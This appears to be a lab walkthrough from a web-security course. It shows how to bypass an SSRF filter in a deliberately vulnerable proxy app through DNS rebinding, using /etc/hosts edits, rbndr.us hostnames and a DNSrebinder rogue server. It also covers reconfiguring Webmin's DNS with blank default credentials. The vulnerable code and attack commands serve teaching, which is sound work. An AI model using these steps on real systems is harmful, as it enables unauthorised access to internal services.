After exploring how to bypass flawed SSRF filters with techniques such as localhost obfuscation, DNS resolution, and HTTP redirects, let us now bypass them using DNS rebinding.
In this section, we will analyze D-Proxy, a web application that acts as a URL proxy; it allows us to specify any URL, and then it fetches and renders it for us.
D-Proxy has two endpoints, of which one is only accessible locally (/flag):
@app.route('/', methods=['POST'])
def index():
url = request.form['text']
parser = urlparse(url).hostname
info = socket.gethostbyname(parser)
global_check = ipaddress.ip_address(info).is_global
if info not in BLACKLIST and global_check == True:
return render_template('index.html', mah_id=requests.get(url).text)
elif global_check == False:
return render_template('index.html', mah_id='Access Violation: Private IP Detected')
@app.route('/flag')
def flag():
# only allow access from localhost
if request.remote_addr != '127.0.0.1':
return 'Unauthorized!', 401
return send_file('./flag.txt')The web application resolves the domain name twice:
socket.gethostbyname(parser)- for the SSRF filter checkrequests.get(url)- to actually fetch the content
This makes the filter vulnerable to DNS rebinding.
-
Configure your domain (e.g.,
attacker.htb) to resolve to a non-blacklisted IP (e.g.,1.1.1.1) with a very low TTL -
Submit URL
http://attacker.htb/flagto the web application:- First resolution →
1.1.1.1(passesis_globalcheck) global_check = True→ proceeds torender_template
- First resolution →
-
Rebind DNS to resolve
attacker.htbto127.0.0.1 -
Second resolution (by
requests.get) →127.0.0.1- Web application fetches
http://127.0.0.1/flag - Flag is returned!
- Web application fetches
Critical: The timing must be extremely precise - DNS rebinding needs to occur between the two DNS resolutions.
Add the domain to /etc/hosts:
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
1.1.1.1 ourdomain.htb
- Set breakpoint before
requests.get - Provide URL
http://ourdomain.htb:8000/flag - Breakpoint triggers after SSRF filter passes
- Rebind in
/etc/hosts:
127.0.0.1 ourdomain.htb
- Continue execution →
requests.getresolves to127.0.0.1→ flag obtained!
rbndr.us generates a domain that randomly resolves to two specified IP addresses.
Configuration:
- A:
127.0.0.1 - B:
1.1.1.1 - Generated hostname:
7f000001.01010101.rbndr.us
Exploit:
http://7f000001.01010101.rbndr.us/flag
Note: Since resolution is random, multiple attempts may be needed (first resolution must be
1.1.1.1, second must be127.0.0.1).
For internal networks without Internet access, use a rogue DNS server.
Requirements:
- Compromise internal DNS configuration (via Webmin, PiHole, PRTG, ManageEngine, etc.)
- Redirect DNS traffic to your rogue DNS server
- D-Proxy vulnerable to DNS rebinding on internal network
- Webmin server on port 10000 (can modify DNS configuration)
Default credentials: admin : <BLANK>
Navigate to:
Networking → Network Configuration → Hostname and DNS Client → DNS Servers
Set DNS server to attacker's IP.
Install DNSrebinder:
git clone https://github.com/mogwailabs/DNSrebinder.git
cd DNSrebinder/
python3 -m venv DNSrebinder
source DNSrebinder/bin/activate
pip3 install -r requirements.txtStart the DNS server:
sudo python3 dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udpArguments explained:
--domain attacker.com- domain to handle--ip 1.1.1.1- first resolution (passes filter)--rebind 127.0.0.1- subsequent resolutions (bypasses filter)--counter 1- rebind after 1 request
Submit URL to D-Proxy:
http://attacker.com/flag
DNS Server Output:
Starting nameserver...
UDP server loop running in thread: Thread-1
TCP server loop running in thread: Thread-2
Got a request for attacker.com. Type: A
------------------------ Counter for host attacker.com. 1
---- Reply:
;; ANSWER SECTION:
attacker.com. 0 IN A 1.1.1.1
Got a request for attacker.com. Type: A
------------------------ Counter for host attacker.com. 2
---- Reply:
;; ANSWER SECTION:
attacker.com. 0 IN A 127.0.0.1
First query → 1.1.1.1 (passes filter)
Second query → 127.0.0.1 (accesses /flag)
Task: Get the flag from the /flag endpoint using DNS rebinding.
- Navigate to
http://<TARGET_IP>:10000 - Login with
admin:<blank> - Go to:
Networking → Network Configuration → Hostname and DNS Client - Set DNS server to your tun0 IP:
ip -o -4 a show tun0 | cut -d " " -f 7git clone https://github.com/mogwailabs/DNSrebinder.git
cd DNSrebinder/
python3 -m venv DNSrebinder
source DNSrebinder/bin/activate
pip3 install -r requirements.txtsudo python3 dnsrebinder.py --domain google.com --ip 1.1.1.1 --rebind 127.0.0.1 --counter 1 --tcp --udpVisit the D-Proxy web app and search for:
http://google.com/flag
The first DNS resolution returns 1.1.1.1 (passes filter), the second returns 127.0.0.1 (bypasses to localhost).